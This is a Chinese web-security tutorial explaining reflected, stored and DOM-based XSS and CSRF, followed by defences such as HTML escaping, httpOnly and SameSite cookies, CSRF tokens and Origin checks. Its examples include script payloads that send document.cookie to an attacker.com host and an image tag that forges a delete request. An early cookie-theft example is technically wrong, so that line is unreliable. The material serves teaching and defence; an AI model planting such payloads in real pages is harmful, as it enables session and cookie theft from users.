XSS攻击和CSRF攻击

news/2024/9/28 13:56:01

一、XSS

XSS,即跨站脚本攻击。是值攻击者在网站上注入恶意的客户端代码,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

比如在论坛上或者输入框内输入 "<alert>document.cookie</alert>"就可以拿到用户的cookie了,当你浏览到这段代码时。

定义

1.反射型XSS

反射型XSS发生在用户请求的URL或表单数据中包含恶意脚本,服务器将这些数据未经处理直接返回给用户浏览器,导致恶意脚本在用户浏览器中执行。

示例

假设有一个搜索功能,用户可以通过URL参数进行搜索。攻击者构造一个包含恶意脚本的URL并诱使用户点击

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>您搜索的关键词是:<%= getParameter("keyword") %>
</div>
<!-- 正常的搜索请求 -->
https://example.com/search?q=keyword<!-- 恶意的搜索请求 -->
https://example.com/search?q=<script>alert('XSS');</script>

如果服务器没有对q参数进行适当的转义或过滤,返回的HTML可能如下:

<div>您搜索的关键字是 <script>alert('XSS');</script></div>

当用户访问这个URL时,浏览器会执行 <script>alert('XSS')</script>,弹出一个警告框

2. 存储型XSS

存储型XSS发生在用户输入的恶意脚本被存储在服务器上,然后在其他用户访问相关页面时,这些脚本被返回并执行。

示例

假设有一个论坛,用户可以发布帖子。攻击者在帖子中插入恶意脚本

<!-- 正常的帖子内容 -->
<p>This is a normal post.</p><!-- 恶意的帖子内容 -->
<p><script>alert('XSS');</script></p>

如果服务器没有对用户输入进行适当的转义或过滤,当其他用户查看这个帖子时,浏览器会执行<script>alert</script>,弹出一个警告框。

3.给予DOM

基于DOM的XSS攻击是指通过恶意脚本修改页面的DOM结构,是纯粹发生在客户端的攻击。

示例

假设有一个页面使用javascript动态设置了某个元素的内容:

<!-- 页面代码 -->
<div id="content"></div>
<script>var content = location.hash.slice(1);document.getElementById('content').innerHTML = content;
</script>

攻击者可以构造一个包含恶意脚本的URL并诱使用户点击:

<!-- 正常的 URL -->
https://example.com/#Hello<!-- 恶意的 URL -->
https://example.com/#<script>alert('XSS');</script>

当用户访问这个URL时,js会将 <script>alert('XSS')</script>插入到div元素中,弹出一个警告框

更复杂的XSS攻击示例

盗取cookie

攻击者可以使用XSS注入脚本来盗取用户的Cookie: 

<!-- 恶意脚本 -->
<script>document.write('<img src="https://attacker.com/steal?cookie=' + document.cookie + '" />');
</script>

当用户访问包含此恶意脚本的页面时,浏览器会发送一个请求到攻击者的服务器,携带用户的cookie信息

会话劫持

攻击者可以使用XSS注入脚本来劫持用户的会话

<!-- 恶意脚本 -->
<script>fetch('https://attacker.com/steal', {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify({ token: document.cookie })});
</script>

当用户访问包含此恶意脚本的页面时,浏览器会向攻击者的服务器发送一个POST请求,携带用户的会话令牌。

 

解决方法:

1. 设置httpOnly防止劫取cookie,设置了httpOnly为true的cookie,js就访问不到cookie了。

2. 输入验证和过滤。对用户输入的HTML内容进行转移,将特殊字符转换为HTML实体

function escapeHtml(unsafe) {return unsafe.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
}

 

使用安全模板引擎:许多现代模板引擎(如react、vue等)都有内置的转义机制,可以自动转义用户输入

// React 示例
const userComment = "<script>alert('XSS');</script>";
return <div>{userComment}</div>; // 自动转义

3. 输出检查。用户的输入会存在问题,服务端的输出也会存在问题。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。

这里思考一个问题,为什么输入检查了输出还需要检查呢?

  a、输入过滤有局限性

    a.1 过滤不完整:输入过滤可能遗漏某些特殊字符或编码方式,导致恶意脚本仍然能够注入

    a.2 上下文依赖: 不同的输出上下文(如html,js,css,url)需要不同的转义方式。输入过滤可能无法覆盖所有这些上下文

    a.3 第三方数据:输入数据可能来自多个源,包括数据库、外部API等,这些数据可能在输入时没有经历过充分的过滤。

 

 

二、CSRF

CSRF(跨站请求伪造),攻击者伪造用户的请求,利用用户在当前已登录的web应用程序中的身份执行非本意的操作。这种攻击利用了用户在目标网站上的身份验证状态,通常是在用户不知情的情况下发起的恶意请求。

示例1:删除帖子

假设有一个网站:http://www.c.com,当登录后的用户发起如下get请求时,会删除ID指定帖子:

http://www.c.com:8002/content/delete/:id

如发起http://www.c.com:8002/content/delete/123请求时,会删除id为123的帖子。当用户登录之后,会设置如下cookie:

res.setHeader('Set-Cookie', ['user=22333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);

user对应的值是用户ID,然后构造一个页面A:

<p>CSRF 攻击者准备的网站:</p>
<img src="http://www.c.com:8002/content/delete/123">

当访问攻击者的网站时,会向www.c.com发起一个删除用户帖子的请求。此时若用户在切换到www.c.com的帖子页面刷新,会发现ID为123的帖子已经被删除。

 

这里提一嘴cookie的标准行为,当浏览器向某个网站发送HTTP请求时,如果该网站之前设置了cookie,并且这些cookie的域和路径与请求匹配,那么浏览器会自动将这些cookie包含在http请求头中的cookie字段里。一些cookie的知识点 - 飞向火星 - 博客园 (cnblogs.com)

 

解决方法:

1. same site cookie属性:设置cookie的samesite属性为strict或lax,这个以防止跨站点请求携带cookie。这个属性专门用来防止CSRF攻击和用户追踪。

2. 使用CSRF令牌(也可以理解为csrf_token):其基本思想是在每个表单中包含一个随机生成的令牌,该令牌在服务端进行验证

生成和存储令牌:服务端为每个用户会话生成一个唯一的CSRF令牌,并将其存储在用户的会话或cookie中。

嵌入令牌:将CSRF令牌嵌入到所有表单中作为隐藏字段,以及AJAX请求中作为参数。

验证令牌:当表单提交或AJAX请求到达服务器时,服务器检查令牌是否与存储的令牌匹配。如果不匹配,则拒绝请求.

示例代码:

<form action="/transfer" method="POST"><input type="hidden" name="csrf_token" value="{{ csrf_token }}"><!-- 其他表单字段 --><button type="submit">Submit</button>
</form>

在服务端

const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');const app = express();// 使用 body-parser 来解析请求体
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());// 配置 session 中间件
app.use(session({secret: 'your_secret_key', // 用于签名 session ID cookie 的密钥resave: false,saveUninitialized: true,cookie: { secure: false } // 如果使用 HTTPS,则应设置为 true
}));// 生成一个随机的 CSRF 令牌
function generateCSRFToken() {return Math.random().toString(36).substring(2, 15) + Math.random().toString(36).substring(2, 15);
}// 设置 CSRF 令牌到 session
app.get('/set-csrf-token', (req, res) => {req.session.csrf_token = generateCSRFToken();res.send({ csrf_token: req.session.csrf_token });
});// 处理转账请求并验证 CSRF 令牌
app.post('/transfer', (req, res) => {const csrfTokenFromForm = req.body.csrf_token;const csrfTokenFromSession = req.session.csrf_token;if (csrfTokenFromForm !== csrfTokenFromSession) {return res.status(403).send("Invalid CSRF token");}// 在这里处理转账逻辑res.send("Transfer successful");
});// 启动服务器
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {console.log(`Server is running on port ${PORT}`);
});

3.  验证HTTP请求头中的Origin和Referer

服务器可以通过检查HTTP请求头中的Origin和Referer字段来确定请求是否来自合法的来源。

Origin:表示请求的源地址

Referer:表示发起请求的页面的URL。

示例

from flask import request@app.route('/transfer', methods=['POST'])
def transfer():origin = request.headers.get('Origin')referer = request.headers.get('Referer')if origin != 'https://example.com' or not referer.startswith('https://example.com'):return "Invalid request origin or referer", 403# 处理转账逻辑

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/65768.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

结对项目——小学四则运算题目自动生成器

这个作业属于哪个课程 <计科22级34班>这个作业要求在哪里 <结对项目>这个作业的目标 <实现一个自动生成小学四则运算题目的命令行程序(也可以用图像界面,具有相似功能)>团队成员 <杨富国(3122004587)、李思柔(3222004638)>Github项目地址 https…

解决win10无法用独显玩游戏的问题

首先要下载独显驱动。 https://www.nvidia.cn/Download/index.aspx?lang=cn 这时任务管理器里就可以看到独显占用率了。 然后桌面右键打开nvidia控制面板,把要使用独显的游戏设置为使用独显(如果默认不使用独显的话)如果还不行,可能是还需要装上CPU的核显驱动(很奇怪吧?…

day8[OpenCompass 评测 InternLM-1.8B 实践]

环境配置 创建开发机和 conda 环境数据准备 评测数据集启动评测 (10% A100 8GB 资源) 使用命令行配置参数法进行评测评测完成后,将会看到:

垃圾回收算法

垃圾回收算法分为跟踪式垃圾回收(Tracing garbage collection)和引用计数(Reference counting)两大类。 跟踪式垃圾回收 跟踪式垃圾回收的基本原理是先认定一些对象为root,比如全局变量和栈变量。然后跟踪(trace)哪些对象是从这些root可达的,而剩下的从这些root不可达的对象就…

sha256sum文件哈希值和直接哈希字符串的哈希值不一样

例如在文件test.txt里写入 test没有换行。 然后 sha256sum test.txt出来的结果是 f2ca1bb6c7e907d06dafe4687e579fce76b37e4e93b7605022da52e6ccc26fd2 test.txt但是在这个网站上 http://encode.chahuo.com/ 输入test,然后以sha256方式哈希得到的结果是 9f86d081884c7d659a2f…

F-Droid使用教程

F-Droid下载地址:https://f-droid.org/ 默认的官方源太慢了。建议更换清华源。官方教程:https://mirrors.tuna.tsinghua.edu.cn/help/fdroid/ 先打开F-Droid,进入设置->存储库点进F-Droid存储库,可能会看到一些官方镜像:如果啥也没有,可能等一段时间就会出现。 把这些…

WPF 的Image 控件 设置 Image.Source 的数据源,可能存在跨线程调用的问题。

相信很多WPF 的开发,应该都很多用到 Image 这个控件来显示图片。这个图片的来源可以来自各种各样的方式获取到。 我们的组内白板、批注的扫码的功能也用到这个去生成二维码,生成后,二维码显示不出来,由于触发到了全局捕获,界面又没有崩溃,遇到了好几个坑,记录一下。 开始…

TSCTF-J 2024 部分题目复现(未完结)

TSCTF-J 2024 部分题目复现(未完结) iPlayBingo: F12拿到answerCheck.wasm文件,同时观察js代码找到关键函数Check() 利用Wabt将answerCheck.wasm文件转为answerCheck.c和answerCheck.h文件,但此时可读性依然较差。用gcc链接成answerCheck.o文件,此时可以使用IDA反汇编。​…